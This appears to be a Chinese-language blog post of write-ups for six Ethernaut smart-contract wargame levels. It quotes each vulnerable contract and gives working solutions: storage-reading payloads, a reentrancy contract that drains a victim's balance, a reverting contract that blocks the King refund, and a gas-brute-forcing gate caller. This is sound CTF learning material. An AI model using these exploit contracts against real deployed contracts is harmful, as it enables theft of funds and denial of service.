0%

区块链学习之贰

区块链学习之贰

逐渐硬核起来了;

ethernaut - Vault

description

1
// Unlock the vault to pass the level!

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

区块链上数据都是透明的,private变量可读。

区块链上变量的存储

从第一个变量开始,从右往左存储,试图填满一个插槽(32字节),遇到该插槽剩余空间不够的,转向下一个插槽;

读取时使用:

1
web3.eth.getStorageAt(address,slotID);

变长数组的存储方式

变长数组,由于存储时无法确定要占用多少storage,所以采取一种特殊的存储方式:

  1. 占用一个 slot 来存储变长数组的长度,该 slot 的编号记作 n ;

  2. 存储的 slot 编号为:SHA3(n)+i,i 根据存储需要可以增加;

  3. slot 实际值为 SHA3(slot编号)

以上;

题解

得到密码即可,bytes32独占一个 slot 。

payload

1
2
await web3.eth.getStorageAt(instance,0x1);
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29');

甚至可以用getStorageAt()读一下locked,即使它是public的;

1
await web3.eth.getStorageAt(instance,0x0);

lockedfalse了;

长进

读变量可以形成一个习惯,全用getStorageAt()去读;

ethernaut - King

description

1
2
3
4
5
// The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

// Such a fun game. Your goal is to break it.

// When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

交钱获取王位,并避免你的对手在你submit的时候夺回王位;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

砸币是砸不过机器人的,关注receive()函数:

1
2
3
4
5
6
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

对手试图夺回王位,transfer()给目标合约这个过程是可控的,我们可以这个过程中把交易revert()掉;

题解

查看当前prize

1
2
3
4
await web3.eth.getStorageAt(instance,0x1);
// '275676239076594894563100840737553034228913209542'
web3.utils.hexToNumberString('0x00000000000000000000000000000000000000000000000000038d7ea4c68000')
// '1000000000000000'

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract KingAttack {
address public target;

constructor(address targ) public payable {
target = targ;
}

function exp() payable public {
// 如此 transfer ,自定义 gas , transfer 默认的 gas 不足以执行 instant 的 receive()
payable(target).call{value:address(this).balance,gas:1000000}("");
}

receive() external payable {
revert();
}
}

创建时给 2000000000000000 wei ;

尝试 submit ,成功;

长进

向一般题目合约转账时,可以自定义gas1000000或者默认发送所有gas

ethernaut - Re-entrancy

大名鼎鼎的重入漏洞;

description

1
2
3
4
5
6
7
8
9
// The goal of this level is for you to steal all the funds from the contract.

// Things that might help:

// Untrusted contracts can execute code where you least expect it.
// Fallback methods
// Throw/revert bubbling
// Sometimes the best way to attack a contract is with another contract.
// See the "?" page above, section "Beyond the console"

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

观察withdraw

1
2
3
4
5
6
7
8
9
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

发现balances的更新发生在转账之后,故而如果我在接受合约的receive()中再调一次withdraw(),此时balances还没有更新,也就是可以成功再次触发转账,嵌套直到余额不足使call()失败为止;

更重要的一点,call()不会回退,而且默认发送所有gas

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Reentrance {
function donate(address _to) external payable ;

function withdraw(uint256 _amount) external payable ;

receive() external payable ;

}

contract ReentranceAttack {
address payable public victim;
Reentrance public c;

constructor (address payable _victim) public payable {
victim = _victim;
c = Reentrance(victim);
}

function exp() public {
c.donate{value:1000000000000000}(address(this));
c.withdraw(1000000000000000);
}

function destroy() external payable {
selfdestruct(0xde6e75832f874f0803c1685807eF1d1CD8ed8796);
}

receive() external payable {
c.withdraw(1000000000000000);
}

}

可以destroy()把自己的测试币拿回来;

ethernaut - Elevator

想起了 Rap God 里面为数不多能记住的几句歌词;

1
2
3
// Cause I know the way to get 'em motivated
// I make elevating music, you make elevator music
// 这网易云翻译的什么积罢呢我请问了

description

1
2
3
4
5
// This elevator won't let you reach the top of your building. Right?

// Things that might help:
// Sometimes solidity is not good at keeping promises.
// This Elevator expects to be used from a Building.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

第一次isLastFloor()的结果为false,第二次为true即可;

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract ElevatorAttack is Building{
bool public top;

constructor(bool _top) {
top = _top;
}

function isLastFloor(uint256) external returns (bool){
top = !top;
return top;
}
}

开始传入toptrue,第一次调用isLastFloor()返回false,第二次返回true,达到目的效果;

ethernaut - Privacy

description

1
2
3
4
5
6
7
8
9
10
11
12
// The creator of this contract was careful enough to protect the sensitive areas of its storage.

// Unlock this contract to beat the level.

// Things that might help:

// Understanding how storage works
// Understanding how parameter parsing works
// Understanding how casting works
// Tips:

// Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

题目描述很可怕;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

data可读,计算一下位置:

  • bool locked占第0个 slot;

  • uint256 ID占第1个 slot ;

  • uint8 private flatteninguint8 private denominationuint16 private awkwardness占第2个 slot ;

  • bytes32[3] private data占第3,4,5个 slot ;

data[2]在第5个 slot ;

bytesn , uintn , intn 的显式转换

这三类数据类型的共同点,都具有多种不同的长度;

由短向长转换时,可以进行隐式转换,对于uintnintn,高位会被填充使值不变;而对于bytesn,数组会向后延长,用一系列0x00填充多出来的byte

由长向短转换时则不同,由于数据可能发生损失,系统不提供隐式转换,显式转换则会发生截断

对于uintnintn,会舍去高位保留低位( 注意这里intn补码存储 );而对于bytesn,数组会舍弃后面的byte单元;

题解

回到题目,首先读取data[2]

1
2
await web3.eth.getStorageAt(instance,0x5);
// '0x210bc33b722eb5853a8ba02dff9e264130c1a32ac266801344842632710f5b3c'

为了转为bytes16,要取前一半,前 34 位(因为开头的'0x'),传给 unlock()

1
await contract.unlock('0x210bc33b722eb5853a8ba02dff9e264130c1a32ac266801344842632710f5b3c'.slice(0,34));

过了,好用,但我还是觉得动态类型语言傻逼,以上;

ethernaut - Gatekeeper One

description

1
2
3
4
5
// Make it past the gatekeeper and register as an entrant to pass this level.

// Things that might help:
// Remember what you've learned from the Telephone and Token levels.
// You can learn more about the special function gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

gateOne()之前做过了,重点看gateTwo()gateThree()

gateTwo()涉及gasleft(),在 Remix 中写一个测试函数:

1
2
3
function testRequire() public {
require(msg.sender != tx.origin);
}

增了又删得知这个require()消耗33gas,调用时指定 gas 为一个8191的倍数加33即可;

gateThree()是截断问题,首先明确,不同位数uint做比较 , solidity 会将位数低的隐式转换为位数高的;

gateThree()的三个愿望:

  1. part1 : uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)
  2. part2 : uint32(uint64(_gateKey)) != uint64(_gateKey)
  3. part3 : uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)

哦我操地址是 20 字节我一直记错成 16 字节;

无伤大雅,看part3,要求gatekey的后 16 位是 tx.origin(钱包地址)的后 16 位( 2 字节), 因为uint16补全要与uint32相等,故 16-31 位是 0 ( 2 字节0x00);

再看part2,截断再补全与原来不等,实际上要求前 32 位( 4 字节)不全为0x00

最后part1实际上已经被part3包含了,不再赘述;

题解

这里很多运算可以拿到合约里去做,但不这样做可以省一点gas fee,优雅是有代价的孩子;

展示省gas做法:

1
2
player.slice(-4);
// '8796'

_gatekey可以为0x1000000000008796

attack contract

8888 替换成钱包的后四位;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneAttack {
address public victim;
event log(bytes);
event log(bool);
event log(uint);

constructor (address _victim) {
victim = _victim;
}

function exp() public{
bool result;
bytes memory data;
for(uint i=0;i < 300;i++){
(result,data)= victim.call{gas:8191*3+i}(abi.encodeWithSignature("enter(bytes8)",bytes8(uint64(0x1000000000008888))));
if(result){
break;
}
}
emit log(result);
}

}

长进

call 传参类型问题

坑了五个小时,从四点到九点;

这个调用:

1
abi.encodeWithSignature("enter(bytes8)",bytes8(uint64(0x1000000000008888)));

一开始是:

1
abi.encodeWithSignature("enter(bytes8)",0x1000000000008888);

这个“隐式转换”不会报错(因为 solidity 不会也无法帮助你给call()的参数下判断),但是实际上这个函数调用是注定失败的,因为uint64无法隐式转换为bytes8,以上;

然后在这道题中,你大部分情况下会认为是part2导致的revert(),反复尝试爆破,很难想到这个问题,实际上还是对自己的代码不自信,这也是我反复了五个小时的原因;

重复声明与作用域

网上某个题解的 payload , 能打通,但是有个天大的坑;

先贴代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function exploit() public {
// 后四位是metamask上账户地址的低2个字节
bytes8 key=0xAAAAAAAA00004261;
bool result;
for (uint256 i = 0; i < 120; i++) {
(bool result, bytes memory data) = address(
target
).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
emit log(uint32(uint64(key)) == uint16(uint64(key)));
emit log(uint32(uint64(key)) != uint64(key));
emit log(uint32(uint64(key)) == uint16((address(tx.origin))));
emit log(result);
}

问题很明显,for循环里面把result又声明了一遍,导致循环代码块里面的result和外面的不是一个,外面的会被赋缺省值false,且无论攻击有没有成功log都是false

他这里bytes8处理的没问题,攻击是可以成功的,但我当时 copy 了这个代码下来跑几次,log输出都是false,误以为攻击失败了,怀疑人生,又开始改循环数目,多折腾了很久;

人机

好早啊;

夏天的风我永远记得,清清楚楚的说你爱我。